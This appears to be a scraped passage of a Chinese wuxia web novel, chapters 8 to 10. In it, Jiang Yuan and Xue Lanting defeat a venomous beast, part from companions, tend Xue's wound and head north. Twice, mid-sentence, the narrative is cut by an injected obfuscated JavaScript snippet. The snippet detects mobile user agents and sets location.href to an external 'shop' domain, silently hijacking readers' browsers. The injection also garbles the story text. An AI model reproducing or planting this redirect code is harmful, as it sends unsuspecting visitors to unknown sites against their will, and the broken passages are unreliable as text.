落在后头的尹大头,恨不得长出四条腿,冷不防绊到一根藤蔓,摔得满嘴污泥。背后,摩擦泥土声传来,他回头一看,一只漆黑扭曲的庞然大物,正从草叶间钻出,兀自狂躁扭动。 “救命啊——” 竹子间显露出姜沅的身影,他跌跌撞撞,嘶吼道:“快跑!那东西追上来了!小圆儿,救命啊!” 其他人已经远去。姜沅提住他衣领,悠悠然取下化龙,眯眼笑道:“你说你叫尹大头?我怎么觉着不像,该不会,是冒充的吧?” 毒王近在身后,尹大头哪知姜沅怎么又问起这茬,腿都快吓软了:“千真万确!我是尹大哥啊!” 毒王已经追上来了。那是一条长达四米的软骨生物,如一只巨型蛞蝓,身披坚韧玄甲,头顶触角是三条腕粗的蛇首触须,狰狞舞动,利齿森然。外皮分泌着黏腻液体,所行处拖出一条湿路,草木尽腐,可见毒性之烈。 尹大头差点吓晕过去,胃里翻涌,拽着姜沅的袍角,期待她带自己飞出去:“小……姜大侠,救命啊,这东西浑身上下都是毒,再不跑就来不及了!” “对啊,再不跑,真的来不及了。” 姜沅看他一眼,割下袍角,飞身上树。 “我可不救哪来的骗子。” 尹大头心急如焚:“我真的不是骗子!姜沅,姜大侠,小时候你不吃馒头,便拿来和我换干饼,你是吃不了馒头的,一吃就吐……” 眼看着怪物就要扑上来,那人还一脸漠然就要离开,尹大头干脆豁了出去,道:“你就算忘了我,也不该忘了阿贫啊!他为了你变成那样,难道你不管不顾了吗!” 姜沅刚抬起的右脚,顿在半空。 8. 分道 “阿贫……还活着?” 姜沅喃喃道。这个久远到有些陌生的名字,念出口时,仿佛有寒冬腊月的苦寒气。 “我知道他在哪!”尹大头扒在树皮上的指甲血肉模糊,急得团团转,“他、他他过得并不好,快死了!他曾经可是拿命救过你啊!” 毒王陡然张开血盆大口,狠狠咬来,尹大头霎时魂飞天外。腰间一紧,一条藤蔓将他卷上树,堪堪躲开了咫尺的袭击,尹大头双腿发软,忍着呕吐,忙扶住树干。 “他在哪里?” “他……”还未说完,树干陡然剧烈摇晃。竟是那毒物一个摆尾,将双臂合抱粗的树干,生生击断! 姜沅立时提他衣领,凌空跃起,哪知那毒物体格甚伟,速度也不俗,紧紧咬在身后,扫倒一片林木。 被人拽着往前飞,地面不知在身下几丈远,尹大头既惧且眩。又听嘶嘶声近在耳畔,撕心裂肺道:“姜大侠……快点,再快点!那怪物要追上来了!” 姜沅恨不得将他丢下喂兽,“闭嘴!我知道!” 低估了毒物的速度,毫无脱身之机。再逃下去,不过是将毒物引去童家人方向。前方出现一大片白光,高耸入云的树林已至尽头,幽幽山谷,无轻功借力之点。姜沅暗骂一声,免不了一番正面对战。 毒物骤然爆发刺耳尖鸣,尹大头吓得尿了裤子,涕泪横流,竟想去抱姜沅的腰身—— “滚开!”姜沅怒喝,恶寒顿生,将他远远抛出。 “啊!!救命!” 尹大头内心绝望,眼看着就要被毒物一口吞入腹中。下一刻,一道金影闪出,复又提起他的后领。 “沅兄,我来接你了!” 薛兰庭见她许久未回,便又折返,冷不防目睹尹大头被姜沅丢出的场面,下意识救下,未及询问,闻到一股尿骚味,赶紧又将人丢到地上:“……多大岁数了还尿裤子!” 望向身后的怪物,薛兰庭一脸不可名状:“真长这么丑,看来明长宇真的没骗人啊。” “你来做什么,送死吗?”说话间,姜沅已与毒王缠斗,过了百十招。 薛兰庭昂首道:“来做蛇羹!” 姜沅嗤笑:“可别轻敌,谁吃谁还不一定呢。” 化龙鞭死死朝毒物腹部软肉蛰去,毒物却不闪不避,硬生生扛住这一击,巨尾横起一阵罡风,直扑而来。 姜沅旋身飞跃,心中一凛。化龙鞭出,从未遇到不可撕裂之肉物,只因原型毒蚺一副钢筋铁骨,得犊姑亲自调教豢养,兽类中几乎战无不胜。她当年也是使了阴招,才险险拿下。 她换了一套鞭法,更为刚劲威猛,开阔宏大,同时侧头对薛兰庭道:“用你的剑,击它腹首!” 尹大头早吓傻了,跟抓住救命稻草似的抱紧薛兰庭大腿,说什么也不肯松。薛兰庭干脆点了他昏睡穴,抽出伏天加入战斗。谁知,毒王停止了对姜沅的攻击,脑袋扭向薛兰庭的方向,爆发出一声惊天动地的锐鸣。 巨硕的身子开始绷紧、扭动,陡然暴长一圈,如重镞箭矢,朝薛兰庭弹射而出,似要将他撕成碎片! “怎么回事?”薛兰庭傻眼。 谁都不清楚这异样。毒王就跟见了杀父仇人似的,攻势比方才猛烈好几倍,只往薛兰庭一人身上招呼。薛兰庭刚斩下一条蛇首触须,后背冷不防溅上一片毒液,衣物瞬间腐化,直蚀肌理,发出滋滋之声。他咬牙一声闷哼,“你这丑八怪,怎么专挑帅的打?” 一只鹰翎箭矢飞来,穿透意图乘人之危的触须。来者紧接着拉开第二箭,道:“我来助你们!带他先跑!” 明长宇有感二人赠药,不顾师兄们的劝阻返回相助。但即使他再箭如密雨,另一边的姜沅挥鞭再虎虎生风,也吸引不了丝毫火力。毒王一心一意扑咬薛兰庭,庞大的身子,风驰电掣,几有残影。薛兰庭就算想跑,哪里跑得掉? 明长宇箭矢已尽,持刀挥砍,隐有力竭之象。侧面喷来一滩毒液,他身疲难于躲闪,险些中招,好在一旁的姜沅及时将他推开。 明长宇心中顿时惭愧不已。往日师傅训戒他练功怠慢,他从不当回事,此时才后悔不迭,自知没发挥太大作用,反而让姜沅分心。又觉自己比不上同龄的姜薛二人,惭愧之余多了苦闷,暗暗发誓以后定要刻苦练习。 余光突然瞥到两个人影,明长宇惊讶道:“师兄,你们怎么也回来了?” 童武没好气道:“废话!你要是出了事,我们怎么跟明长老交代?!” 纵然五人一同战斗,也讨不到丝毫便宜。那毒王的力气就像取之不尽,毒液用之不竭,挺着硕大丑陋、刀枪不入的身子,张狂大叫,吐须摆尾。 童武绝望道:“要是游师兄在这里就好了。” “游师兄?他很厉害吗?”薛兰庭身负数伤,正被数条触须集火,竟还有心情闲话。 明长宇道:“当然!游师兄是我们山庄最厉害、最年轻的客卿!‘南断沧浪,北斩青云’,这与南派袁飞白的沧浪剑齐名的,正是游师兄的一把青云破穹刀!要是有他在,管对面是人是怪,何愁打不赢!” 这袁飞白,曾是南派轻剑一脉的年轻天骄,师出没落门派,却天资聪颖悟性奇高,独创沧浪剑法。以一己之力,连败三大庄、八大派的成名弟子,连曾经名噪一时的姜少旻亦在其剑下折戟。三大庄欲招揽他而不得,后却不知何故,忽然销声匿迹。江湖传闻,或死于仇杀,或殁于北行。 姜沅虽未见过此人,但其事迹早已如雷贯耳。她心知,若此人仍在,扶摇盛会上,她夺魁的机会恐不足两成。 若那游姓少侠真与袁飞白实力相当,又该是何等惊才绝艳的人物! 薛兰庭自是不知这袁飞白的,因而也无从衡量那位“游师兄”的实力,好奇道:“比‘鬼影掌’萧风扬还厉害?” 明长宇道:“那还是……这不一样嘛!萧大侠已步天人之境,不过我相信总有一天,游师兄会与萧大侠比肩的!” 毒王被几人磨得彻底失去耐性。地面草木皆已腐蚀,它陡然又伸出几条触须,挥射戳刺,却是虚招。薛兰庭格挡之际,受其尾下一扫,“嘭”的一声,整个人横飞出去,腿骨错位,伏天剑脱手数丈远。 薛兰庭咳出一口血,来不及起身,毒王利齿已至眼前。 “薛少侠!”童非和明长宇惊呼,却鞭长莫及。 姜沅瞳孔骤缩,下意识去救。突然想到什么,脚步一滞,按捺下因紧张而剧烈跳动的心脏。 倘若…… 倘若他就此丧命,也只能怪运气不好,技不如人了。 姜沅眼神微微发冷。 薛兰庭瞳孔中倒映着近在咫尺的怪物獠牙,顿时忘了呼吸,心中嚎啕:“师傅,早知道听您老人家的话不妄自下山了!徒儿先去一步,来世再给您养老罢!” 随即,悲壮地闭上眼。 过了三息,依旧没动静。 薛兰庭错愕地睁开,却见那毒物大叫一声,扭转头颅,朝姜沅的方向闪电般窜去。 不对—— 众人惊异之时,姜沅脑光一闪,好似拨云见日,天光乍现,右手挥鞭一卷,取回掉落至脚边的伏天重剑。 她扯下剑柄悬挂的玉穗子,灌注内力疾抛而出。果不其然,毒王中途折退,发疯般追赶玉穗,仿佛见到最香甜可口的猎物。 “这……”薛兰庭与童家人皆是震惊。 姜沅冷哼一声。 程、书、青! 他是要他二人死在这里! “难怪毒物突然苏醒,又只追着薛少侠一个人发疯,原来是有诱因。”童非恍然,“这莫非,是传说中的蚀阴玉?” “蚀阴玉?”姜沅道。 童非颔首:“此玉罕见,色如流金,不仅十分名贵,还有一个极为骇人的功效——可以吸引一切灵长之怪,无一不是存活百年、危险丑陋近乎妖魔的巨兽。上一次听说,还是当朝一位爱玉的侯爷,以黄金万两、宅邸千座购得。” 薛兰庭悻悻道:“这么说来,还挺值钱呀!” 姜沅淡淡道:“那也得看有没有命花。” 薛兰庭不自在地放低声音:“抱歉,我……” 童非宽慰道:“这玉甚是独特,我等也是头一回见。歪打正着,算不得谁的过错,好在一切有惊无险。” 明长宇道:“对呀!没事就好,要不是你们,我们身上解毒粉耗尽,早就曝尸荒野了。” 童非点头:“虚惊一场,趁它未回,咱们赶紧走吧。” 最大的危险解除,余下路途不过寻常虫兽,轻松许多。尹大头的穴道解开后,惨叫一声,似做了场噩梦,见自己还活着,喜出望外,浑然忘却姜沅抛开他一事,一边腆着脸叽叽喳喳,喉干舌燥博好感,一边脚下踩了风火轮般,飞速带领众人出了圭月岭。 林雾渐隐。甫一出岭,便是分别之时。童非多次想上门致谢,都被姜沅一一回绝,只得作罢。回想两人作战武功,他心中隐隐有个猜测,只等回去后向父亲和师父讨问。 明长宇挥手道:“也算过命的朋友啦,我明长宇佩服你们的功夫!我以后一定会追上你们的,下次有缘再见,定要好好比试比试!” 南北武林分庭抗礼,独立而治,童家又是北派扛鼎之宗,与南派三大庄属于竞争关系,不常往来。下次相见,不知又是何时何地、何种境况了。 薛兰庭笑道:“好啊!下次来江南,我请你们喝酒、吃肉!一人五坛‘满庭芳’!……也可以去沅兄那里,那边的酒更烈,沅兄,是不是啊?” 姜沅不给面子道:“是。你茶都没怎么喝,光打听酒了,原来还是个没出息的小酒鬼!我家的‘子夜歌’要是卖给你,得一百金一坛!” 薛兰庭大吃一惊:“啊!我们可是‘过命的朋友’诶,不成不成!” 少年们戏语拍肩,一扫岭中压抑之气,竟有几分依依不舍。既散,童非远远回望,心中叹息:“此次任务虽然失败,好在有所收获。父亲还道自袁飞白以下,南派新一代已无杰出之辈,我看不然。二人武功俱在我之上,可笑我还沾沾自喜,以为只有一个游师兄可称为对手。困守一隅,又焉知天地之大?难怪南派武林,能出萧风扬这么一位奇人。” 几个棕色小点消失在道路尽头。日暮西斜,山中嘲哳鸦啼长鸣,余响不绝。空气中弥漫淡淡血腥味,三人身影在夕阳下拉成长长的一条,恨不得立时飞出这茫茫山野,寻个落脚处蒙头大睡。 薛兰庭将随手摘来的红彤彤山楂,一颗一颗扔进嘴里,酸甜感冲淡了喉咙中的涩腥味。他偏头便可看见空荡荡的伏天剑柄,心中忽而怏怏。 后背传来一阵刺痛,他转过身,姜沅正伸出食指,往他左肩背那块巴掌大的,被毒液腐蚀的漆黑焦皮处按了一下。 后背有些凉了,风透过破开的洞口吹进衣内,伤口的位置却钝钝的,不知冷热。 “程书青害了我兄长。”姜沅突然道。 并非为姜少旻打抱不平,而是证明了程书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274945|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青确有恶毒前科,姜沅语气淡淡,鬓角血渍凝成浅浅一朵落梅,“以后,少跟这种心思深沉之人来往。” 姜沅浑不觉自己也算“心思深沉之人”。她要胜一个人,何须用见不得人的诡计勾当?即使她违背了父亲密令,未对薛兰庭下手,也有把握赢过他,拜入萧风扬门下。未来,她还要堂堂正正、光明磊落地成为武林第一。 “哦……”薛兰庭讪讪,想把山楂递过去的手悬停在半空。 他归庄几日,也被按着听了不少秘辛,尤其是江湖势力划分啦、三庄往来大事啦,听得头昏脑涨,几欲睡去。从前跟着师傅在山中修行,虽清苦无趣,却只需专心练功,一招一式皆有法度;如今下了山,方知人心比武功招式复杂百倍。 宴席上与他毫无仇怨的程书青如此,茶摊上突然反水的摊主、江湖人亦如此。甚至童家庄子弟,他也多听闻其负面言论,而不知内里。他忽然生出一股强烈的冲动,想把每个人的心思底细,都辨认得明明白白、一干二净。 可人心并非山楂,不能一口咬开。即使咬开了,酸甜苦辣也辨不分明,多的是混作一团,更妄论其中的好与坏。黑白并非互斥,纠缠一起时,便形成了昏昏的灰,共生共死。这份纷繁,对现在的他而言,比最晦涩的内功心法还要难懂。 “还疼吗?” 薛兰庭没反应过来:“什么?” 姜沅捏了捏食指。 薛兰庭顿时感觉背上的伤口火烧火燎,存在感强得不得了,哀叫道:“一开始疼得要死,现在……也没好到哪去!是不是很丑,都能看到骨头了?” 姜沅哼道:“确实丑,疼就对了,快走吧。”腐蚀成那样,好似铁烙一般,再上药都不管用了。好在不是脸颊、脖颈处,尚可遮掩。 “姜大侠,薛大侠!”坚信二人身份不俗,尹大头顶着泥巴脸谄笑,“真是多亏了您二人啊。我无处可去,看在往日情分上,就让我跟在你们身边吧!我虽不擅武功,却漂泊多年,颇有些见闻,对北地略知一二。” 姜沅不置可否。薛兰庭却一下子来了兴致,跟他讨教一路。到下一个城镇,姜沅打发薛兰庭去买点干净衣物,自己带着尹大头寻客栈。 尹大头见她去最大的乾福客栈,要了三间上房,也跟着昂首挺背,尽管他裤子还湿臭着,却感觉自己今时不同往日,脸上油光锃亮。这时,付完银子的姜沅道:“他怎样了?” 这个“他”,自然不是指薛兰庭。尹大头道:“原本我也以为他死了。大概三个月前,我路过苏州,竟然瞧见了个极像的人!穿着华贵,体态羸弱。一问别人,这才知道,那公子哥小时候流落在外,伤了身子,被找回时已是不愈。尽管他那当官的父母用人参鹿茸养着,甚至找了传说中的‘鬼手观音’,也没几年可活了!” 他边说,边观察姜沅的脸色。姜沅神色恍惚,似陷入了什么回忆,听到最后反而松了口气,心道:“既然没死,再好不过。倘若连鬼手前辈都救不了,即使我去见他,又有什么用呢?这么多年,恐怕他早已忘了我。” 薛兰庭抱着新衣回来了,方才路过铁匠铺,还给自己换了个干净结实的褡裢,用于负剑。他摸着伏天道:“伏天伏天,今日好险,你差点就被怪物一口吞了!” 姜沅在一旁道:“你同它说话,它也是听不见的。上古有明冶子爱剑如命,以血祭剑,剑亦血戮锋狂以为赠。你如此爱惜,不如也让它尝尝,你这个主人的黑心、坏血。” 薛兰庭哼道:“怎么听不见啦?师傅说这是我的妻子,肯定舍不得我流血的。” 其实原话是不恕散人见他拿伏天剑切西瓜,气得拿戒尺追了他二里地时说的:“你这榔头要是敢弄丢、弄脏,屁股都得开花!要珍之重之,待其如妻如子!” 当初不恕散人听说他要下山,花光一辈子积蓄,打通层层人脉,求得一位早已归隐的名家匠僧,锻造这柄世间独有的伏天玄铁重剑。不恕散人勒令薛兰庭,没学到第十二重天心剑法,就不准下山。十二重?他等到耄耋古稀都学不到!于是苦吃斋久矣的薛大侠,刚破第七重,就冒着屁股开花的风险溜走了。好在他还学了几位僧叔、山伯伯的招式,融会贯通,自成一派,瞎闯也闯出了个名堂——这不,差点就要当上少庄主了?以后他得了天下第一,不恕散人估计眼珠子都要瞪出来了。 薛兰庭把另一只皮革鞭囊递给姜沅,姜沅没接,道:“我就是睡觉都恨不得两只眼睛睁着,把化龙揣手上。要是放皮囊中,谁偷袭我,我还得跟他说:‘且慢!待我取出武器一战’不成?” 脑补一下那个场景,薛兰庭一讪。化龙团成圈时,虽骨刺尽收,但难免有不小心伤到主人的风险。可姜沅坚持不要,他也不好多作言语,显得他很不相信沅兄的实力似的。 暮色四合,三人身心既疲,用餐后各自回房沐浴,终于能好好歇歇。姜沅刚取下化龙,房门就被敲响,遂又系上腰间。 薛兰庭鬼鬼祟祟进来:“沅兄,帮我个忙呗。” 沐浴后的他已放下高马尾,墨发垂肩,隐隐升腾氤氲水雾。原本张扬俊朗的少年面庞,多了几分柔和。只身着白色单衫,脖颈雪白,星眸璨璨,像是哪个无忧无虑的富家小公子意兴难寝,夜访友人出门玩闹。 姜沅头一回见他如此,愣了一愣,不太习惯地移开目光,“何事?” 薛兰庭关上门,三下五除二扯开腰带,敞开衣襟,露出大片莹白胸膛。 姜沅脸色一变:“好好说话,脱衣裳做什么!” 9. 入魇 “啊……”薛兰庭茫然,“我想让你帮我涂个药,你那么生气做甚,不都是男人。” 谁跟你都是男人! 姜沅面色紧绷,眼看着他扭过身,衣裳褪至腰间,露出整个白皙精壮的脊背。柔软墨色长发水蛇般伏在肩上,流畅矫健的肌肉蓬勃有生命力,散发少年的青春之气,如一只展翅欲飞的雏鹰。 只是这优美有力的脊背上,印了一块黑漆漆的疤痕,狰狞丑陋,极为碍眼。 薛兰庭掏出一个小药瓶、一块纱布、一壶酒和一把匕首,道:“我想请你帮我,割下这块肉。” 巴掌大的黑块,腐蚀得深,一割下来,得流多少血?焉有命在? 姜沅直言拒绝。薛兰庭道:“没事的,你看。” 他指着光洁的锁骨处,“以前我这里也有半拳大的黑印,难看的很,我便偷偷切掉了,只流了两日的血。师父见我练剑不稳,还以为是我心不在焉呢。” 姜沅瞥他一眼,道:“你倒是臭美的很,没苦硬吃。” 薛兰庭嘻嘻一笑:“以后要是被人瞧见了,多不体面呀!” “谁没事扒你衣服!”姜沅拿起匕首掂了掂,“你想好了,我下手可没轻没重。” 薛兰庭拍拍胸膛:“我比较皮糙肉厚。” 姜沅把匕首架在蜡烛上翻来覆去地烤。烛火噼里啪啦,薛兰庭心里倒有点泛起哆嗦了,索性转过身去。 看不见的地方,姜沅将匕首举到他后心处,眼中闪过一抹暗色,道:“你就不怕我突然对你下手?” “什么下手?” 薛兰庭扭头看她,眼睛里一片茫然懵懂,烛火在其中跃动,暖色一蹦一跳,在昏暗中格外明亮动人。 姜沅被这股莫名的信任弄得心烦意乱,强硬掰过他的头,恶声恶气:“别动,我一个不小心,把你脖子割了。” 薛兰庭害怕地缩了缩肩,以示听话。 须臾,背后一凉,酒水淅淅沥沥蜿蜒而下,酒味钻入脑海,带来点朦胧醉意。这醉意在冰冷的匕首抵上后,又陡然一消,鸡皮疙瘩细细泛起。 薛兰庭有点不安,开始胡扯起来:“沅兄,你会唱歌儿么?” 姜沅比划着如何下手:“不会。” 薛兰庭又问:“阿渠姑娘的歌儿,到底是什么意思?” 扣住他肩膀的手似乎被烫了一下,猛地抽回,姜沅声音略扬:“我哪知道!” 匕首尖端毫无防备刺入皮肉,薛兰庭闷哼,忍着缓慢剧痛,努力放松表情:“那……我教你一曲,是、是师父经常唱的。我晚上睡不着了他唱,我生、生病发烧了他唱,只要听到,甚么都不难受了,唔——” 姜沅慢条斯理分割与肉黏连的黑块,感受到手下背部微微颤抖,心情竟有些愉悦,淡淡道:“行,你唱。” 薛兰庭从颤颤的牙缝中挤出声音,努力凑成歪歪扭扭的调子:“天高……岩岫晓,云、云澹碧山秋……” 血液汩汩而出,如黏腻的手掌温柔抚摸背部每一寸肌理。 “孤松……盘石老,野鹤蹑空游。人生、人生如朝露,道远……意偏幽……” 刀尖滋滋撕裂皮肉,一阵剜心般的剧痛,汗水啪嗒、啪嗒滴落在地。 “影散……江湖迹,身随麋鹿俦。” 姜沅见他身如筛糠,竟还真能唱完,大感奇异:“你这师父,还是个脱俗淡雅的隐士呢。这曲儿,真有奇效?” 薛兰庭痛得眼前一阵阵发黑,心中腹诽:“怎么回事,还是这么痛,难不成是我少记了后面几句,就完全不管用了么?” 弱弱回道:“还、还好,下次……你出事,我也唱给你——啊!轻点!” 姜沅粗鲁地给他撒上药,动作全没割肉时的轻柔,三两下包扎完擦干后,将他推出去:“行了,赶紧睡觉去吧。流那么多血,别死我屋里。” 房门在脸前“嘭”地合上,薛兰庭抱着衣裳,刚想开口,冷不防打了个喷嚏。 在另一房间睡觉的尹大头,听门外似有响声,迷瞪瞪下床踩鞋,准备去放个水。一推开门,他半眯的眼睛顿时大睁,不敢置信道:“薛、薛大侠?” 薛兰庭方才匆匆忙裹好的衣衫,凌乱不堪,胸肌锁骨裸露在外,苍白虚弱的脸上全是细汗。一眼望来,瞳孔似有水雾,仿佛经历了莫可言说的痛苦似的。 尹大头霎时甚么瞌睡虫都被打飞了。 ——原来、他与小圆儿,是那种关系! 尹大头顿感晴天霹雳,原本还怀疑姜沅是女身的半点侥幸心理,一时形如飞灰。胸口齐齐涌上惊愕、厌恶、鄙夷、苦恼等诸多情绪,随即一一释然,用一种很微妙的目光,在他与闭合的房门之间来回逡巡。 薛兰庭见他脸上变幻莫测,问道:“你也是来找沅兄的么?” 尹大头大退一步:“不不不!我、我梦游,啊!我要回去睡觉了。什么都没看见,什么都没看见……” 哆嗦着边说边退,直至摔上房门。 这如见猛兽的模样,让薛兰庭大感莫名:“难道,我的脸也伤了?”欲抬手摸脸,拉扯到背后伤口,哀叫一声,急急回屋去了。 地面大滩的血迹已然暗红,一壶酒倾倒而下,冲刷得颜色更亮了些。姜沅放下酒壶,大致收拾了一番,吹灭烛火,翻身上榻。 屋外似传来了尹大头的声音,姜沅纷乱的脑海瞬间冷静下来,联想起今日发生的种种,眉心不自觉微拧。 “他为了你变成那样,难道你不管不顾了么?” “……落下病根……怕是没几年可活了!” 姜沅强迫自己不去回想那张模糊的、久远的面容。月色入户,洒下一被霜华。辗转反侧大半夜,眼前微亮的方正窗牖,渐渐缩小、变亮,月华也凝为了真正的冰霜,伴随而来的,是再大的阳光也难消的腊月苦寒,冻得人自内而外,魂身俱颤。 “……沅儿,沅儿?” 努力睁开眼睛,却始终看不清画面,一片朦胧昏沉间,唯有被风雪摧残得摇摇欲破的小竹窗嘎吱声清晰可闻。 天旋地转,身子从床上被猛拉扯下,妇人不停晃动她肩膀:“沅儿,这是什么?这是什么!” 她听见自己稚嫩的声线道:“娘,这是好心人送给我的面糕。” 妇人道:“娘给你的馒头呢?” “馒头……忘了。” “上次你说,你最喜欢吃馒头的。”妇人喃喃道,“娘千辛万苦求他们施舍些洗衣送炭的活计,手脚长满了冻疮烂囊,舍不得买药。昨晚在井口冰沿摔得满脸是血,一个时辰都爬不起来,就为了挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274946|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几只馒头——用血和泪换来的!你怎么能忘?怎么能忘?见到了面糕,就舍弃了馒头。” “都一样……所有人都一样,见着好的、新鲜的,就忘记馒头啦!爹说得对……不,不对,他不可能丢下我,肯定也和我一样……我怎么能自暴自弃?他还不知道你,看见你,肯定会喜欢你的,这样就舍不得走啦……” 娘又开始疯疯癫癫的了。小姜沅害怕地抱住她枯槁的身躯:“娘!我说错了,我喜欢吃馒头,永远喜欢馒头!” 娘的声音陡然凄厉:“可是你再想也没用啦!被你丢弃的馒头,早已发霉、长蛆,烂成一滩泥,你再也找不回来了!” 小姜沅道:“找得到!”她跑去了某个地方,下一刻,手里就多了只发霉的绿馒头,献宝一般:“娘,你快看!” 妇人眼珠子幽幽盯了馒头半晌。随即,一把抓起,猛地往小姜沅嘴里塞! “唔、唔!” 小姜沅眼睁睁看着,那冰冷僵硬的馒头中,钻出一条不断扭动身体的长虫,毛茸茸的馒头皮儿,是最翠绿的草,裹着无头长虫一同挤入她的嘴里、喉咙、胃袋,在她腹中翻涌、蠕动着,与她盘虬痉挛的肠道,亲如一体,如胶似漆。 那虫钻入她的食道,钻进了此后她所见到的每一只馒头里。她拿着馒头,抬头央浼道:“尹大哥,我用这个跟你换饼,好不好呀?我可以帮你去引开那群讨债鬼。” 她拿着馒头,扔进茫茫雪幕,扔到一个盖着白雪、冰冷饥饿的将死之人身边。 那人后来成了她的小尾巴,虎咽下她丢下的每一只馒头,好的、坏的、硬的、软的、长毛的、冒虫的、臭到呕吐的、碾进泥里的。 吃完后,亮晶晶的眼睛看着她,仿佛在说: “阿姜姐姐,我以后一定要给你吃天下最好的!” 这双明亮眸子镶嵌在肮脏泥黑的脸庞中,倏忽蒙上一层痛苦的水光,通红通红,眸子的主人挣扎在一群棍棒风声里,对她嘶喊:“阿姜姐姐,快跑!他们抓到我,就没力气抓你啦!” 随后,各种乱七八糟的画面纷至沓来,将一场难得的睡眠冲刷得支离破碎,兵荒马乱。 时而是娘亲含着泪,将拼命挣扎的她按下满是黑色药汁的浴桶,道:“欲塑异身,先斩赤龙,拔根骨。” 时而是一脸冷酷漠然的犊姑,抬掌震断她一条真气逆行的经脉,道:“你不是要变强么?连这种小事都能出岔子。” 时而是神色傲然陌生的姜郃,陪立于姜少旻的轮椅旁,不屑道:“哪来的私生庸子,也配与莽莽苍林、焚焚骄阳争光?” 明明是初秋,床上的人,身体却愈发寒冷颤抖。 最后,混沌破碎的画面,定格在一豆清晰通明的烛火。 雪白肩背,澄澈双眸,带着温暖如春的笑意看过来。清晰矫然的下颌,一开一合的嘴唇,似在叫:“沅兄?” 她迷糊地伸出手,想触碰那片莹白,靠近唯一的热源。手腕却突然被扼住,那人缓缓回头,茫然又惊愕地望着她,嘴唇翕动: “为什么……我们不是朋友吗?” 她低头一看。一把匕首,不知何时刺入了那人后心,冰冷森然的刀身,映照着一跳、一跳的微芒烛火。 梦魇中的人猛地睁开双眼。 10. 北境 鸡鸣熹微,薛兰庭神清气爽一起床,后背就被拉扯得一阵剧痛。 昨日剜肉之景历历在目,他不得不动作慎之又慎、轻之又轻,如此挨到饭点,本想跟人倒倒苦水,哪知尹大头见他就摆出一副欲言又止、吃了苍蝇般的神情,头低目浮,浑身抗拒之态。 薛兰庭一肚子郁闷。这时姜沅下楼,没有坐到他留下的座位上,反而换了一桌,显然也是对他避之不及。无论他作何长篇大论,关心她眼底乌青也好,畅想北地风情也好,均是三两字“嗯”“啊”以复,恹恹不乐。 薛兰庭遂收声回坐,发挥他那磨练的不太精通的察言观色本领,明目张胆地觑着她。 乾福客栈的朝食是一碗清粥、两只馒头与一碟酱菜。薛兰庭见姜沅刚起筷,就一动不动,直直盯着两只馒头,不由想到沅江畔之事,竟鬼使神差地,将她碟中的馒头夺了去,咬一口道:“我还没吃饱呢!” 姜沅下抿的唇角忽而勾了勾,“你是猪么。” 薛兰庭见她笑了,顿觉自己做了个伟大无比的决定,嘻嘻道:“我才十八,还在长身体,吃多少都饿。沅兄,你多大了?” 姜沅道:“我也十八。” 薛兰庭“啊”了一声,“你懂的这么多,我还以为你行弱冠礼了呢!说不定你比我还小,那我要不要叫你‘沅弟’?” 姜沅懒得理他。两人言语状若亲密,尹大头在一旁坐立不安,粗指甲在桌面一挠一挠,一双招风耳都似耷拉下来,终是忍不住直起身子:“那个……此地已属北境,再往前便是芜城。我早年在那儿结过梁子,要是撞见仇家可了不得。不如、不如先行离开?” 薛兰庭道:“啊,有我和沅兄在,还怕护不住你?” 姜沅虽不知尹大头为何突然改变主意,心底却巴不得他离得越远越好:“既是你的选择,那后会有期。” 可尹大头哪会真的吐下这块肥肉?几日相处早探出二人出自三大庄,当下堆起满脸谄笑,搓手道:“……姜大侠,您看我这孑然一身,无依无靠,贵派可缺看门喂马的?不求别的,只求您赏件信物,容我自去谋个差事。以后身处同门,大家都有个照应,您但有所需,我必当赴汤蹈火!” 姜沅从腰间取出一块铁牌,淡淡道:“好说,故交一场,自然不能亏待了你。” 尹大头喜笑颜开,心满意足离开了。他一走,两人的脚程快上许多,第三日就到达了芜城。芜城虽是城,但覆盖大片草原、沙漠,占地极辽,游牧农耕一体,不少异邦人互通有无。 薛兰庭负剑四望,举目便是莽莽苍天、牛羊遍野,大片大片的吟霜花迎风招展,翻成一股股白浪。戴着头巾的女人,光着膀子的男人,在帐篷前倒羊奶、削马蹄,时不时向两名俊俏的异乡人投来好奇的善意的目光。 薛兰庭喝下一位热心婆婆递过来的羊奶,砸砸嘴,感慨道:“难怪萧风扬生于南地,别院遍布四海,待在这里就不想走了。光是看着这片草原、这群朋友,就甚么烦恼也没有了!” 姜沅道:“哦?你竟还有烦恼?” 薛兰庭搭住她肩膀,凑近苦着脸道:“你一路上都不怎么理我,可愁死我了。” 姜沅脊背一僵,猛地拍开他的手:“站直了说话!” 薛兰庭喜欢跟人勾肩搭背,一路来也没少跟她拉拉扯扯,她怕反应太大引起怀疑,尤其身边还有尹大头那只老狐狸,便也忍着随他去了。但自从那次梦境后,她也不知怎的,格外抗拒他的靠近。 薛兰庭也不在意,叼着一根草尖儿,道:“沅兄,那位萧风扬究竟是怎样一个人物?传闻他一人可抵三十万精锐布甲之师,朝廷屡次以爵位招安而不得,是真的么?” 萧风扬,集南北之长,登天下之极,性格古怪执拗,平生最热爱之事便是钻研武学,近于疯魔,无人知晓其全部实力。 姜沅道:“真的如何,假的又如何,难道打仗时直接把他一人往战场上一丢?我倒是听说过他的另外两个传闻。” 薛兰庭好奇道:“哦?哪两个?” 